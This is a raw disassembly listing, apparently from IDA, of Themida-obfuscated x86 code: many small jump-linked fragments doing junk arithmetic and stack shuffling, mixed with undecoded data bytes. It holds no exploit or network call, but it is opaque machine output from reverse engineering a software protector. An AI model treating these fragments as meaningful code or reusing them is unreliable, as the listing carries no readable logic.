		dd 2968DFF7h, 8900005Bh, 95BB241Ch, 955D74Ch, 0BA525BDFh
		dd 506A615Ah, 0E0E9D721h, 5B00004Eh, 997EE95Bh,	4BD0000h
		dd 1000000h, 0BD555DEEh, 4, 0FDEE81h, 91E9455Eh, 4D000051h
		dd 30EFC581h, 0E8E92349h, 5F000051h, 8B240487h,	4052424h
		dd 51000000h, 7E0668h, 4675E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5058DE:				; CODE XREF: Themida_:0050CB27j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		neg	ebp
		neg	ebp
		add	ebp, 70991478h
		jmp	loc_50A85F
; ---------------------------------------------------------------------------
aQR		db '^Q¹à',0
		db 4Eh
		dd 0D6E5E951h, 0BA52FFFFh, 37F56FC3h, 1808E9h, 0C8B6600h
		dd 75EE6824h, 0C890000h, 0E7895724h, 4C781h, 15E90000h
		dd 66000023h, 81240C8Bh, 4ECh, 242C8900h, 14F5E9h, 4895C00h
		dd 2D62B824h, 0E8C16F05h, 4A5D3503h, 0B9511F58h, 1, 0C159C829h
		dd 5D2D06E8h, 89C72E68h, 6322E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50595E:				; CODE XREF: Themida_:00503EC2j
		mov	edi, 55607AE3h
		not	edi
		jmp	loc_5057DF
; ---------------------------------------------------------------------------

loc_50596A:				; CODE XREF: Themida_:0050D367j
		xchg	edx, [esp]
		jmp	loc_50AE1C
; ---------------------------------------------------------------------------

loc_505972:				; CODE XREF: Themida_:0050AA14j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	13E0h
		mov	[esp], ebx
		push	edx
		push	72F63A51h
		pop	edx
		and	edx, 72007473h
		not	edx
		jmp	loc_509048
; ---------------------------------------------------------------------------
		db 0B0h
		dd 66C700DEh, 5BFD0058h, 34FFE800h, 1E67E924h, 3D680000h
		dd 89000074h, 0AFE92434h, 8B000068h, 8B662424h,	6850240Ch
		dd 7F9Ah, 81242489h, 42404h, 5580000h, 4, 0DCBB5357h, 0BF209068h
		dd 353AA652h, 8932E9h, 0FFE95300h, 8100008Ah, 4C4h, 0E9C100h
		dd 840FC00Bh, 0FFFFD260h, 301768h, 24148900h, 5086E9h
		dd 24048700h, 4334E9h, 5AF78800h, 8004EFC0h, 0F5E907EFh
		dd 81000087h, 4C4h, 24148B00h, 4C481h, 37E90000h, 5BFFFFD1h
		dd 0FFE182E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_505A3D:				; CODE XREF: Themida_:0050A825j
		pop	esi
		sub	edi, 2
		jmp	loc_50EE60
; ---------------------------------------------------------------------------
		dw 8858h
		dd 423EE9F7h, 0DEBD0000h, 31507B4Dh, 55E95DE8h,	2900001Ch
		dd 0E5C15AD5h, 0B7C58108h, 0E9282DAFh, 260Ah, 187F52BBh
		dd 7DC3814Ah, 2914D8D0h, 835B5BDEh, 2EE904EEh, 81000003h
		dd 4C6h, 2222E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_505A8E:				; CODE XREF: Themida_:00505CE0j
		mov	ecx, 59A009EBh
		jmp	loc_507CE8
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 8495E900h, 2B90000h, 0E9000000h, 7145h
		dd 0E9CC8850h, 0FFFFF1DDh
; ---------------------------------------------------------------------------

loc_505AB8:				; CODE XREF: Themida_:00507103j
		add	ebx, 5A705A15h
		jmp	loc_50DD97
; ---------------------------------------------------------------------------
		db 81h
		dd 551D57F6h, 3EE9503Dh, 8900002Fh, 4C781E7h, 83000000h
		dd 3C8704C7h, 2629E924h, 55F0000h, 4B8F6418h, 0F4705C05h
		dd 3A26E94Bh, 77E90000h, 0FFFFFFD0h, 669D1C77h,	24041858h
		dd 0D068E99Ch, 0EF81FFFFh, 34481A5Ch, 0C781EF29h, 34481A5Ch
		dd 243C335Dh, 33243C31h, 895C243Ch, 0B951242Ch,	0FEh, 89CA8952h
		dd 21595AD5h, 69E91C6Fh
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_505B37:				; CODE XREF: Themida_:0050614Ej
		mov	eax, 4
		add	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_50D483
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F59h,	0F24248Bh, 6856C8BFh, 1E0Eh, 83242489h
		dd 8B042404h, 0C4832434h, 0A556804h, 1C890000h,	0D7D1E924h
		dd 0EAC1FFFFh, 17C28102h, 292A0844h, 0C9815AD1h, 7C42939h
		dd 0E907E9C1h, 0FFFFD35Dh
; ---------------------------------------------------------------------------

loc_505B90:				; CODE XREF: Themida_:0050AD72j
		pop	esi
		add	esp, 4
		push	169Ch
		mov	[esp], esi
		mov	esi, 71091230h
		jmp	loc_504A91
; ---------------------------------------------------------------------------

loc_505BA9:				; CODE XREF: Themida_:005087B8j
		mov	esi, 57464932h
		xor	edx, esi
		pop	esi
		or	edx, 351842A4h
		sub	edx, 75196AF0h
		add	eax, edx
		jmp	loc_507BD3
; ---------------------------------------------------------------------------

loc_505BC4:				; CODE XREF: Themida_:0050F2C4j
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		neg	ecx
		push	ebx
		mov	ebx, 1
		add	ecx, ebx
		jmp	loc_50843A
; ---------------------------------------------------------------------------
a1SiuqsC	db '1,$S‰ãQ霖',0
		db 0
; ---------------------------------------------------------------------------

loc_505BE7:				; CODE XREF: Themida_:0050816Bj
		pop	ebp
		push	358468E2h
		jmp	loc_504B99
; ---------------------------------------------------------------------------

loc_505BF2:				; CODE XREF: Themida_:0050EE63j
		pop	esp
		jmp	loc_50A7D1
; ---------------------------------------------------------------------------

loc_505BF8:				; CODE XREF: Themida_:00505FEAj
		push	esi
		push	ebp
		mov	ebp, 144366C8h
		mov	esi, 144366CCh
		xor	esi, ebp
		pop	ebp
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_503DBA
; ---------------------------------------------------------------------------

loc_505C1D:				; CODE XREF: Themida_:0050D5F8j
		push	eax
		mov	eax, 4
		push	eax
		pop	edx
		pop	eax
		push	ebp
		mov	ebp, 50C17906h
		and	ebp, 4589665Ch
		shr	ebp, 6
		inc	ebp
		shr	ebp, 7
		add	ebp, 56124E55h
		sub	ebp, 3EC2E665h
		sub	ecx, ebp
		pop	ebp
		add	ecx, edx
		add	ecx, 17516BFBh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_504941
; ---------------------------------------------------------------------------
		dd 5758C521h, 6D1D32BFh, 5FFD0130h, 7F3ED81h, 0BE563BC0h
		dd 34F273AEh, 9E9F531h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505C87:				; CODE XREF: Themida_:0050B36Fj
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	ebx, 0AD4C0FFBh
		and	eax, ebx
		jmp	loc_5054E2
; ---------------------------------------------------------------------------
		db 0B6h
		dd 5AF5206Ah, 8005E5C0h, 0EB280EF5h, 509FE9h, 0CA895D00h
		dd 246C8159h, 3E429504h, 24542904h, 95BA5204h, 0E9043E42h
		dd 1182h, 298EBB53h, 0FDE91A44h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505CDF:				; CODE XREF: Themida_:00504324j
		push	ecx
		jmp	loc_505A8E
; ---------------------------------------------------------------------------
		db 0BDh, 3Dh, 0Fh
		dd 0D5F760C8h, 8DE9D5F7h, 33000034h, 248B242Ch,	0BAB55124h
		dd 690AE9h
		db 0
; ---------------------------------------------------------------------------

loc_505D01:				; CODE XREF: Themida_:0050D790j
		pop	eax
		sub	edx, 56A96BE2h
		add	edx, 2AC62DE4h
		jmp	loc_50B237
; ---------------------------------------------------------------------------

loc_505D13:				; CODE XREF: Themida_:0050AB30j
		pop	edi
		push	eax
		mov	eax, 0D6B0756h
		jmp	loc_508DAE
; ---------------------------------------------------------------------------

loc_505D1F:				; CODE XREF: Themida_:005063AFj
		pop	esp
		sub	esp, 4
		jmp	loc_50E45C
; ---------------------------------------------------------------------------
		dd 8158C629h, 83CC11C6h, 5EF389AAh, 0FFE862E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_505D39:				; CODE XREF: Themida_:00505232j
		mov	[esp], esi
		jmp	loc_505265
; ---------------------------------------------------------------------------

loc_505D41:				; CODE XREF: Themida_:0050B929j
		sub	eax, edx
		pop	edx
		add	eax, ebp
		jmp	loc_50B96F
; ---------------------------------------------------------------------------
		db 81h
		dd 0D1A4E3E9h, 0EBA2E927h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505D56:				; CODE XREF: Themida_:0050E3D1j
		pop	edi
		push	edx
		mov	edx, 5BC9460Fh
		or	esi, edx
		pop	edx
		sub	esi, 37157AC6h
		jmp	loc_505383
; ---------------------------------------------------------------------------
		db 0BEh
		dd 75293BD2h, 0E95EF529h, 435Ah
; ---------------------------------------------------------------------------

loc_505D78:				; CODE XREF: Themida_:00507720j
		xor	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_506E0B
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0C1810000h, 612B4E54h, 5365BF57h, 0F78166F3h, 57230BFDh
		dd 46A8E9h, 0CE95600h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_505DB7:				; CODE XREF: Themida_:00508FABj
		neg	ebx
		xor	ebx, 6C902EF5h
		mov	ecx, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 69C76557h
		sub	ebp, 1EFD11C3h
		inc	ebp
		push	ecx
		mov	ecx, 4D51C6Ch
		push	esi
		mov	esi, 8482997h
		sub	ecx, esi
		pop	esi
		add	ebp, ecx
		pop	ecx
		jmp	loc_50ED51
; ---------------------------------------------------------------------------
		db 5, 2Eh, 21h
		dd 875E641Fh, 248B2404h, 24040824h, 0CD70E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505DFE:				; CODE XREF: Themida_:0050A0E2j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_507B9F
; ---------------------------------------------------------------------------
		db 59h
		dd 0E924048Fh, 0FFFFFB25h, 0EC83C300h, 24048904h, 0D4F620B4h
		dd 68h,	24242800h, 8324248Ah, 0CC8004C4h, 50EC808Dh, 48BE328h
		dd 4C48324h, 2A7B68h, 241C8900h, 51EFE9h, 0E9C80100h, 3CD0h
		dd 47B7E981h, 0E1C154BBh, 0D1F74903h, 0FFD39CE9h, 0DEF681FFh
		dd 114064Bh, 2020E9F0h,	0E9580000h, 82B2h
; ---------------------------------------------------------------------------

loc_505E70:				; CODE XREF: Themida_:00505455j
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5039EA
; ---------------------------------------------------------------------------

loc_505E84:				; CODE XREF: Themida_:005040B3j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	ebp, 36EA10B9h
		add	ebp, 0C99DFF73h
		jmp	loc_50AB5E
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0C30058F5h, 0E97FC380h, 8A79h, 24048B66h, 8904EC83h
		dd 44E9243Ch
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_505EBF:				; CODE XREF: Themida_:0050A049j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	2E341C5Ah
		pop	ebp
		add	ebp, 60234C21h
		jmp	loc_509134
; ---------------------------------------------------------------------------
		db 89h
		dd 0B1512404h, 59CC88A7h, 6859E480h, 37C4h, 0B6241489h
		dd 898CE9DAh, 24890000h, 0D22BE924h, 0C581FFFFh, 6C315E8Ch
		dd 68h,	0DA1EE900h, 348BFFFFh, 4C48324h, 0E9240487h, 0FFFFFA9Fh
		dd 153A6855h, 4890000h,	0E9E08924h, 0FFFFF4C1h,	2246E95Ch
		dd 0DA290000h, 5AD5015Bh, 4C581h, 2C870000h, 24248B24h
		dd 520FE9h, 0BA525100h,	6D556B94h, 48D5E9h
		db 0
; ---------------------------------------------------------------------------

loc_505F55:				; CODE XREF: Themida_:00508E19j
		and	edx, 18B077F2h
		sub	edx, 1010442Eh
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], edi
		push	3100h
		mov	[esp], esi
		push	5D85h
		mov	[esp], ebx
		sub	dword ptr [esp], 43856020h
		pop	esi
		push	eax
		jmp	loc_50BE18
; ---------------------------------------------------------------------------
		dw 535Ah
		dd 2BBh, 5BD80100h, 31240433h, 4332404h, 24248B24h, 0F66E1F6h
		dd 3468CCB6h, 89000017h, 0E189240Ch, 4C181h, 0EBE90000h
		dd 0FFFFFFF9h, 5E042474h, 8B24048Fh, 0C892424h,	4725E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_505FD6:				; CODE XREF: Themida_:005049B8j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2C6Ch
		mov	[esp], ebx
		jmp	loc_505BF8
; ---------------------------------------------------------------------------
		db 41h
		dd 40F18149h, 29C0CFACh, 0E58159CDh, 6CF85A2Dh,	7C2FF581h
		dd 510534A4h, 16FE52Eh,	357BE9E8h, 74FF0000h, 48B0424h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 89E95Ch
		dd 5240000h, 0F6C28852h, 5AD088D2h, 0B353E0D0h,	80C3FE4Ch
		dd 0F38075EBh, 80C3FE51h, 6E9F4F3h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50604F:				; CODE XREF: Themida_:0050A6C8j
		sub	bl, dh
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 20D33367h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	535Ah
		jmp	loc_506703
; ---------------------------------------------------------------------------
		db 31h,	0DAh, 5Bh
		dd 5605EAC1h, 5B51E9h, 48B6600h, 4ADA6824h, 31E90000h
		dd 0FF000041h, 0C8B2434h, 0A7E95324h, 81FFFFE0h, 4EAh
		dd 24148700h, 48F545Ch,	2A026824h, 32E90000h, 8F00002Fh
		dd 0D25C2404h, 0E99C2404h, 0FFFFCAAAh, 51EE68h,	24048900h
		dd 0B951E089h, 4, 48C7E9h, 0C8015F00h, 0B15E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5060E2:				; CODE XREF: Themida_:005096C1j
		add	ecx, edi
		jmp	loc_50AE3D
; ---------------------------------------------------------------------------
aSiusp0		db 'S‰ãé¯0',0
		db 0
; ---------------------------------------------------------------------------

loc_5060F1:				; CODE XREF: Themida_:005085CCj
		mov	bl, dl
		push	edx
		jmp	loc_5035D3
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0F5h
		dd 20FA1536h, 34FFEE01h, 0C4835D24h, 0C7BD5504h, 0E9593E5Bh
		dd 91FBh, 1C3FB850h, 0E0C13227h, 85BE5608h, 0E96B813Ah
		dd 0FFFFD3ECh, 0FE02C483h, 0A6F680CEh, 22E9722Ch
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_506137:				; CODE XREF: Themida_:0050461Dj
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	57E0h
		mov	[esp], edi
		push	12ADh
		mov	[esp], esp
		push	eax
		jmp	loc_505B37
; ---------------------------------------------------------------------------
		db 54h
		dd 650EE9h
		db 0
; ---------------------------------------------------------------------------

loc_506159:				; CODE XREF: Themida_:0050BC3Fj
		mov	esp, [esp]
		and	eax, ebp
		pop	ebp
		or	edx, eax
		jmp	loc_50B12D
; ---------------------------------------------------------------------------
aUtsc		db 'UTéC',0Bh,0
		db 0
; ---------------------------------------------------------------------------

loc_50616D:				; CODE XREF: Themida_:005065D7j
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	esi
		push	eax
		mov	eax, 4
		push	ecx
		push	eax
		add	dword ptr [esp], 2B6D6808h
		pop	ecx
		sub	ecx, 2B6D6808h
		mov	esi, ecx
		jmp	loc_5088B7
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 3Bh
		dd 0F759923Ch, 0DB42E9D2h, 3C89FFFFh, 81E78924h, 4C7h
		dd 4EC8100h, 89000000h,	3BE9241Ch, 0F7000010h, 4E2C1D2h
		dd 0F703EAC1h, 4EC83DAh, 73EEE9h, 0F626B700h, 8E7C0D7h
		dd 8076C780h, 0F9084DF7h, 6B72E9h
		db 0
; ---------------------------------------------------------------------------

loc_5061DD:				; CODE XREF: Themida_:0050D85Fj
		mov	edi, [esp]
		add	esp, 4
		mov	esi, ecx
		pop	ecx
		add	ebx, 5AA7564h
		add	ebx, esi
		push	ebp
		mov	ebp, 5AA7564h
		sub	ebx, ebp
		pop	ebp
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_5036FA
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4EC8324h, 51240489h,	8E226EB9h, 59C8891Ah, 684748B9h
		dd 58C10146h, 8A1A792Dh, 3DD3E901h, 1C310000h, 241C3324h
		dd 6124248Bh, 2BE9C39Dh, 0B1FFFFC9h, 0E9C1FE40h, 214Bh
		dd 50242489h, 4B8h, 24440100h, 815D5804h, 4C5h,	4ED8300h
		dd 31242C33h, 2C33242Ch, 2C895C24h, 50E58924h, 56766852h
		dd 0C15A7CE0h, 0F28102EAh, 6D0F1E57h, 214FE9h, 93B95100h
		dd 0F741905Fh, 7844E9D9h, 48F0000h, 0E122E924h,	5ADFFFFh
		dd 9FB37A7h, 5819E9h
		db 0
; ---------------------------------------------------------------------------

loc_5062A9:				; CODE XREF: Themida_:00509E6Aj
		mov	eax, 0CC56D1h
		jmp	loc_50AA7C
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9523868h, 0FFFFE65Dh, 8904EC83h, 38E92434h, 5D00004Fh
		dd 34FFC701h, 0DCE95824h, 0B7000020h, 80C7FE6Ah, 0CF8059CFh
		dd 5C36E987h, 0C4830000h, 6C94E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5062EA:				; CODE XREF: Themida_:0050D6B7j
		add	[esp+8], ebp
		jmp	loc_50541F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81582434h, 4C4h, 24048F00h, 6B2BE9h,	0C864E900h, 0C181FFFFh
		dd 4, 8704E983h, 248B240Ch, 241C8924h, 0FD7180BBh, 34815312h
		dd 0E9672524h, 0F6815E3Fh, 3FE96725h, 8ABD555Bh, 8912FD71h
		dd 0F1315DE9h, 5E2434FFh, 4EC81h, 34890000h, 81E68924h
		dd 4C6h, 4C68300h, 5C243487h, 0BAE9A5F3h, 87FFFFDCh, 0E95C243Ch
		dd 0FFFFC806h, 0C8B60F66h, 531EE9h, 0F2295D00h,	0FFD719E9h
		dd 0E94343FFh, 0FFFFE851h
; ---------------------------------------------------------------------------

loc_506380:				; CODE XREF: Themida_:0050E808j
		push	5F87AC4h
		jmp	loc_509AF6
; ---------------------------------------------------------------------------
		dw 0C33h
aSE		db '$\Ó$$œéÃE',0
		dw 8100h
		dd 4C4h, 8EE95500h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5063A3:				; CODE XREF: Themida_:00508997j
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		jmp	loc_505D1F
; ---------------------------------------------------------------------------

loc_5063B4:				; CODE XREF: Themida_:00504AD3j
		pop	edi
		add	ecx, ebx
		jmp	loc_50A55B
; ---------------------------------------------------------------------------
		dd 2E46EB81h, 0EB294DA7h, 2E46C381h, 15D4DA7h, 241C8BD9h
		dd 0E9E38953h, 7D6Bh, 1EAD68h, 895EE900h, 0DD290000h, 242C875Bh
		dd 2404895Ch, 0FFC77DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5063F1:				; CODE XREF: Themida_:0050BF40j
		add	ecx, ebp
		jmp	loc_509BD9
; ---------------------------------------------------------------------------
aSs		db '^Séà ',0
		db 0
; ---------------------------------------------------------------------------

loc_5063FF:				; CODE XREF: Themida_:00507BDBj
		and	eax, ebp
		pop	ebp
		shr	eax, 0Eh
		xor	eax, ecx
		push	2EBh
		mov	[esp], eax
		xor	[esp], edx
		jmp	loc_50F229
; ---------------------------------------------------------------------------

loc_506417:				; CODE XREF: Themida_:0050B3CAj
		or	ecx, 10D510DEh
		shr	ecx, 4
		jmp	loc_50898E
; ---------------------------------------------------------------------------
		db 51h,	53h, 0BBh
		dd 3C87054Ah, 0FFCA92E9h, 240487FFh, 1642E9h, 5A5D5200h
		dd 67E9554Dh, 89FFFFDCh, 0C568240Ch, 593EA52Dh,	0B1E7E981h
		dd 0ECE91990h, 6600001Eh, 66557BBAh, 66EFBDBBh,	11D7EB81h
		dd 0E9D30166h, 32C4h
; ---------------------------------------------------------------------------

loc_50646C:				; CODE XREF: Themida_:0050AF6Cj
		mov	ebp, 34761ACFh
		jmp	loc_503EC7
; ---------------------------------------------------------------------------

loc_506476:				; CODE XREF: Themida_:0050C585j
		pop	dword ptr [esp]
		jmp	loc_50A24D
; ---------------------------------------------------------------------------
aLs27		db '±Lé27',0
		dd 0C1D8F700h, 3E3503E0h, 0E9025AC2h, 2E6h, 4240483h, 8124348Bh
		dd 4C4h, 3FA0E900h, 815D0000h, 4C4h, 66393500h,	0C10170B5h
		dd 2C18358h, 0E9240C33h, 5971h,	4D75C181h, 0E1C11D8Ch
		dd 3951E906h, 148B0000h, 4C48324h, 64B1E9h, 0E0895000h
		dd 405h, 42D00h, 4870000h, 21E95C24h, 100002Dh,	82EA81C2h
		dd 584B543Dh, 5C241487h, 0F66E9F6h, 6866CCB6h, 8966096Eh
		dd 59E9240Ch, 0FFFFFEh,	0CAEB80C3h, 58E6C380h, 8DC0B60Fh
		dd 5D688704h, 89000045h, 43E92404h, 0B8FFFFC6h,	4C944613h
		dd 5F0E6850h, 0C890000h, 39E95824h, 33FFFFD0h, 0FF5C241Ch
		dd 51582434h, 8904EC83h, 0E9522424h, 3453h, 33B1E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50655A:				; CODE XREF: Themida_:0050A065j
		push	edx
		mov	edx, 3C770102h
		dec	edx
		dec	edx
		shr	edx, 1
		jmp	loc_50D400
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 7B6BA52h, 40E934F7h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_506577:				; CODE XREF: Themida_:0050A881j
		sub	edx, 1A5196C0h
		xor	esi, edx
		jmp	loc_50F144
; ---------------------------------------------------------------------------
		dd 689AB951h, 0D1F7288Eh, 0FFCCAAE9h, 0DDEE81FFh, 1755C0Ah
		dd 0DDC681C6h, 8B755C0Ah, 0C4832404h, 0E6C15804h, 0FFC68104h
		dd 81FFFFFFh, 0FC0E8C6h, 8B585604h, 0C4832434h,	0C5ACE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5065C2:				; CODE XREF: Themida_:0050CA70j
		sub	ecx, ebx
		pop	ebx
		xor	ecx, 2D120757h
		sub	ecx, 5828EC87h
		xor	eax, ecx
		pop	ecx
		mov	edi, [esp]
		jmp	loc_50616D
; ---------------------------------------------------------------------------
		dd 33241C31h, 0D35C241Ch, 0E99C2404h, 0FFFFD71Ah, 3304C383h
		dd 1C31241Ch, 0FF45E924h, 0C189FFFFh, 0E9CA0158h, 0FFFFD083h
		dd 1DE9C531h, 5F00005Bh, 28ACE9h
		db 0
; ---------------------------------------------------------------------------

loc_506611:				; CODE XREF: Themida_:0050EFB2j
		shr	ecx, 7
		and	ecx, 33913CE6h
		push	4C7Eh
		mov	[esp], edi
		mov	edi, 0A395839Dh
		xor	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_50376C
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 6
		dd 2EE6BB53h, 81E932C6h, 66FFFFECh, 6605EDC1h, 0EC9BED81h
		dd 0E9E98966h, 35EDh, 31241433h, 14332414h, 1C895C24h
		dd 12D0BB24h, 0D8015A8Ah, 53241C8Bh, 0C381E389h, 4, 8C685152h
		dd 59055227h, 0C622E952h, 0CE80FFFFh, 0B7EE807Bh, 37EE80h
		dd 6EE95AF0h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_506693:				; CODE XREF: Themida_:00503A8Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5049DC
; ---------------------------------------------------------------------------

loc_50669F:				; CODE XREF: Themida_:00504106j
		shl	esi, 8
		push	eax
		mov	eax, 7F1B52A3h
		or	eax, 7F391E24h
		xor	eax, 190D79CFh
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_50F069
; ---------------------------------------------------------------------------
		dd 260BEF81h, 0DF017503h, 0FFE172E9h, 5CC281FFh, 0E98A2BF1h
		dd 2441h, 4240483h, 8124148Bh, 4C4h, 4C28100h, 81000000h
		dd 4ECh, 243C8900h, 468h, 5DC4E900h, 1C890000h,	0F2E95424h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_506703:				; CODE XREF: Themida_:00506074j
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_50869F
; ---------------------------------------------------------------------------

loc_50671E:				; CODE XREF: Themida_:00507D20j
		xchg	ecx, [esp]
		pop	esp
		sub	al, 0EFh
		sub	al, bl
		add	al, 0EFh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	dl, 0
		neg	dl
		jmp	loc_507EF7
; ---------------------------------------------------------------------------
		db 5Ah,	2Dh, 67h
		dd 106634Eh, 4E6705D8h,	172D0663h, 0E923A513h, 3FECh, 8124048Bh
		dd 4C4h, 0E6895600h, 1E0D68h, 241C8900h, 4BBh, 5BDE0100h
		dd 2F78E953h, 0C5310000h, 33F58158h, 13BE843h, 0FBE7E9EAh
		dd 0F681FFFFh, 330B1C05h, 341FEE81h, 2E2D6251h,	2D641F21h
		dd 687F4BB1h, 0B105F001h, 0E9687F4Bh, 0FFFFF63Dh, 0F0FEBBDh
		dd 0E9EA013Ah, 0FFFFE177h
; ---------------------------------------------------------------------------

loc_5067B8:				; CODE XREF: Themida_:0050572Ej
		shl	dh, 1
		xor	dh, 4Ah
		and	dh, 0C9h
		push	ebx
		push	2559h
		jmp	loc_50EC49
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0D2E981D1h, 31B4AB11h, 0EEC159CEh, 65A7E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5067DE:				; CODE XREF: Themida_:00508D3Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5072B6
; ---------------------------------------------------------------------------

loc_5067F1:				; CODE XREF: Themida_:0050AA66j
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_503E96
; ---------------------------------------------------------------------------
aAHfqO		db '(ÀÃhfQ±Ž',0
		db 0CBh
		dd 0C3805966h, 0C388530Eh, 28B850h, 532D0000h, 5568722h
		dd 0D646B00h, 0B951F801h, 48140A0h, 8104E9C1h, 6D5341C9h
		dd 12E95105h, 68FFFFE8h, 1252h,	0E9241489h, 0E2Eh, 4A3ACD81h
		dd 814D75ADh, 0AD6FB6EDh, 61BCE977h, 600D0000h,	357DFA1Ah
		dd 52691F29h, 1011C381h, 0C3297676h, 1011EB81h,	56587676h
		dd 0AF7F42BEh, 0D0E68131h, 81707660h, 1665EEF6h, 7DF6816Dh
		dd 1046502h, 0C3295EF3h, 7D3EB81h, 0EC835955h, 240C8904h
		dd 126F4CB9h, 0F5A2E901h, 0E781FFFFh, 4EE61B60h, 0C8E9DFF7h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5068B7:				; CODE XREF: Themida_:00508D14j
		mov	ah, 9Ch
		xor	dl, ah
		pop	ax
		and	dl, 35h
		sub	dl, 0DFh
		and	ch, dl
		pop	edx
		dec	ch
		jmp	loc_5070D1
; ---------------------------------------------------------------------------

loc_5068CD:				; CODE XREF: Themida_:00502CB7j
		push	3C4Ch
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		push	edx
		sub	esp, 4
		mov	[esp], esi
		push	5C33h
		mov	[esp], ebp
		mov	ebp, 4AB1875h
		jmp	loc_50E494
; ---------------------------------------------------------------------------

loc_5068F3:				; CODE XREF: Themida_:0050F232j
		pop	edi
		jmp	loc_503A7C
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 98h
		dd 0E94E7202h, 0FFFFED7Eh
; ---------------------------------------------------------------------------

loc_506904:				; CODE XREF: Themida_:00504AB2j
		push	3497h
		mov	[esp], ebx
		mov	ebx, 52B37003h
		sub	ebx, 0FFFFFFFFh
		push	7A06h
		mov	[esp], ebx
		jmp	loc_50F126
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 0F76DE900h,	0C681FFFFh, 8714FA72h
		dd 0E95EF529h, 4701h, 6624248Bh, 56240C8Bh, 15CCE9h, 4215C00h
		dd 17E99C24h, 0FFFFFFC2h
